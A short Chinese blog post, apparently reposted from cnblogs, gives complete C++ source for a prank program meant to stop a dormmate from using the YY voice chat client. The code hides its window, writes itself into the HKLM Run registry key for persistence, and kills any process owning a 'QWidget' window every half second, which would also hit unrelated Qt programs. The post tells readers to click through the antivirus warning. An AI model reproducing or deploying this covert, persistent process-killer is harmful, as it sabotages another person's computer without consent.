[vc]让你Y的用YY

朋友宿舍有个孩子老是晚上别人要睡觉他玩YY叫唤,就让我写个弱智程序让他开不了YY,下面是代码

#include <windows.h>
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )

void Fuck()
{
    unsigned long id_num;
    while(1)
    {
        Sleep(500);
        HWND hWnd = ::FindWindow("QWidget", NULL); 
        GetWindowThreadProcessId(hWnd, &id_num); 
        HANDLE hd = OpenProcess(PROCESS_ALL_ACCESS,FALSE, id_num);
        TerminateProcess(hd, 0); 
    }
}
void autorun()
{
    TCHAR szModName[256];
    GetModuleFileName(0,szModName,50);

    char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    HKEY hkResult;
    int ret = RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);

    DWORD      WordType = REG_SZ;     
    DWORD      WordData = 100;
    LPBYTE     KeyByte  = new  BYTE[1024];
    memset(KeyByte,0,1024);
    ret = RegQueryValueEx(hkResult,"fuckyou",NULL,&WordType,(LPBYTE)KeyByte, &WordData);
    if(ret != ERROR_SUCCESS)
    {
        ret=RegSetValueEx(hkResult,"fuckyou",0,REG_SZ,(const unsigned char *)szModName,100);
        if(ret==0)
        {
            printf("success to write run key\n");
            RegCloseKey(hkResult);
        }
        else
        {
            printf("failed to open regedit.%d\n",ret);
        }
    }
}
int main()
{
    autorun();
    Fuck();
    return 0;
}

第一次运行的时候,杀软什么的可能会提示有加入新注册表项,允许就好了。

原文地址:https://www.cnblogs.com/co1d7urt/p/2764346.html